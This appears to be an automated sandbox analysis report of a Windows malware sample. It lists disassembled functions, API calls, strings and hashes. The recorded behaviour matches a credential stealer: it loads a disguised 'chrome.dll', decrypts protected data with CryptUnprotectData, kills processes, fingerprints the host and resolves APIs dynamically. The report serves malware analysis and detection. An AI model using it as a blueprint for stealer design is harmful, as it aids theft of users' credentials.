FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

1#v, xrefs: 0040E5A2
P2#v, xrefs: 0040ECDF
@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E
\*.*, xrefs: 0040E54D

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: P2#v$\*.*$1#v$@
API String ID: 433455689-1092267622
Opcode ID: 68926e2ad258e9d275220a0fc8b4036717cddf91ce2af20d35107eadb68492c6
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: 68926e2ad258e9d275220a0fc8b4036717cddf91ce2af20d35107eadb68492c6
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(6D470000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(6D470000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(6D470000,?,004108E4), ref: 0040A0F9

Strings

C:\ProgramData\chrome.dll, xrefs: 0040A093
free_result, xrefs: 0040A0C9
connect_to_websocket, xrefs: 0040A0B3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: 9e175830caf9148bd7a219e001ec971bef60eefc02138b6d75eb658f8e5d4480
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 94112EB5E15218ABCB24DFA0DC48BDEB7B9BB48700F00558DF509A6240EB749B84CF91

Function 00417D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
LocalFree.KERNEL32(00000000), ref: 00417EB2

Strings

/ , xrefs: 00417E0F

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 33afdd9a01bb019618385557e92cbc81a4eced64b1ee37edbcd83f6a660902a2
Instruction ID: 3a7f69f4b1fea99afaf6d133ce9a777b30b3333c02d8fb4e8698743120f63e4e
Opcode Fuzzy Hash: 33afdd9a01bb019618385557e92cbc81a4eced64b1ee37edbcd83f6a660902a2
Instruction Fuzzy Hash: 1C416D71945218ABCB24DB94DC99BEEB374FF44704F2041DAE10A62280DB386FC4CFA9

Function 61EAD2AC Relevance: 6.6, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

main, xrefs: 61EAD638
kqa, xrefs: 61EAD645
NOCASE, xrefs: 61EAD4C8
BINARY, xrefs: 61EAD40C, 61EAD478, 61EAD4A0
RTRIM, xrefs: 61EAD507

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: strcmp
String ID: BINARY$NOCASE$RTRIM$kqa$main
API String ID: 1004003707-114998471
Opcode ID: a91cd7229bbcb9772a12360a66d590ea0b867b5377a6ef059bbc6c856084bca5
Instruction ID: 60bcc8b0197c989f7013f8b1edc5a9d28cf944306873f66ca73508c1f88d5ce1
Opcode Fuzzy Hash: a91cd7229bbcb9772a12360a66d590ea0b867b5377a6ef059bbc6c856084bca5
Instruction Fuzzy Hash: DEE149B4A087858BEB00DF68C59474ABBF1BF89308F24C86DEC989F395D779C8458B51

Function 00418810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Process32First.KERNEL32(?,00000128), ref: 0041886E
Process32Next.KERNEL32(?,00000128), ref: 00418883

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

CloseHandle.KERNEL32(?), ref: 004188F1

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 54f18ceebdbe03376481e37761d482d243203de19d1e8cd19cba4d4b6821d96d
Instruction ID: f2962352e5a9518fad6621e76df9ccdb14d3c152e16a9ee82315e1f5505f4b94
Opcode Fuzzy Hash: 54f18ceebdbe03376481e37761d482d243203de19d1e8cd19cba4d4b6821d96d
Instruction Fuzzy Hash: 0E318171A02158ABCB24DF55DC55FEEB378EF04714F50419EF10A62190EB386B84CFA5

Function 0040A2B0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A2F3
memcpy.MSVCRT(?,?,?), ref: 0040A316
LocalFree.KERNEL32(?), ref: 0040A323

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction ID: b2ce5641e7fa807fe786f78e48a01c4c7ef199da86c861ee62a52048bf8154be
Opcode Fuzzy Hash: 7a2dd4eca20753c076bf09b0c62142b9a669e1cd6be9ab3d7b47191422cd3cdd
Instruction Fuzzy Hash: 3611ACB4900209DFCB04DF94D988AAE77B5FF88300F104559ED15A7350D734AE50CF61

Function 00417BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D
wsprintfA.USER32 ref: 00417C47

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 61E75F1F Relevance: 3.3, Strings: 2, Instructions: 815COMMON

Download Yara Rule

Strings

multiple recursive references: %s, xrefs: 61E76A4B
recursive reference in a subquery: %s, xrefs: 61E76A54

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: multiple recursive references: %s$recursive reference in a subquery: %s
API String ID: 0-3854365051
Opcode ID: 9d61cd90bcb3f95eccddd84f83037b29cdbcb69b89d9cacf4c5cd74c7857a23f
Instruction ID: 7d5e909c26c2478cc4d8a1152a5e5b16c7ea0641b558a5fde8b477d39de8e8ad
Opcode Fuzzy Hash: 9d61cd90bcb3f95eccddd84f83037b29cdbcb69b89d9cacf4c5cd74c7857a23f
Instruction Fuzzy Hash: 4E8207B4A052899FEB25CFA8C180B9DBBF1BF48308F24C559E859AB355D734E846CF50

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Function 00419BB0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,008A11F8), ref: 00419BF1
GetProcAddress.KERNEL32(76210000,008A1180), ref: 00419C0A
GetProcAddress.KERNEL32(76210000,008A1078), ref: 00419C22
GetProcAddress.KERNEL32(76210000,008A1198), ref: 00419C3A
GetProcAddress.KERNEL32(76210000,008A1258), ref: 00419C53
GetProcAddress.KERNEL32(76210000,008A9020), ref: 00419C6B
GetProcAddress.KERNEL32(76210000,008A66B0), ref: 00419C83
GetProcAddress.KERNEL32(76210000,008A6750), ref: 00419C9C
GetProcAddress.KERNEL32(76210000,008A1270), ref: 00419CB4
GetProcAddress.KERNEL32(76210000,008A1288), ref: 00419CCC
GetProcAddress.KERNEL32(76210000,008A12A0), ref: 00419CE5
GetProcAddress.KERNEL32(76210000,008A1318), ref: 00419CFD
GetProcAddress.KERNEL32(76210000,008A6870), ref: 00419D15
GetProcAddress.KERNEL32(76210000,008A12B8), ref: 00419D2E
GetProcAddress.KERNEL32(76210000,008A1030), ref: 00419D46
GetProcAddress.KERNEL32(76210000,008A6890), ref: 00419D5E
GetProcAddress.KERNEL32(76210000,008A1048), ref: 00419D77
GetProcAddress.KERNEL32(76210000,008A95D0), ref: 00419D8F
GetProcAddress.KERNEL32(76210000,008A66D0), ref: 00419DA7
GetProcAddress.KERNEL32(76210000,008A94E0), ref: 00419DC0
GetProcAddress.KERNEL32(76210000,008A67F0), ref: 00419DD8
LoadLibraryA.KERNEL32(008A95E8,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(008A9600,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(008A9498,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(008A9348,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(008A9420,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75B30000,008A9438), ref: 00419E52
GetProcAddress.KERNEL32(751E0000,008A94B0), ref: 00419E73
GetProcAddress.KERNEL32(751E0000,008A9558), ref: 00419E8B
GetProcAddress.KERNEL32(76910000,008A9618), ref: 00419EAD
GetProcAddress.KERNEL32(75670000,008A65F0), ref: 00419ECE
GetProcAddress.KERNEL32(77310000,008A90D0), ref: 00419EEF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00419F06

Strings

NtQueryInformationProcess, xrefs: 00419EFA
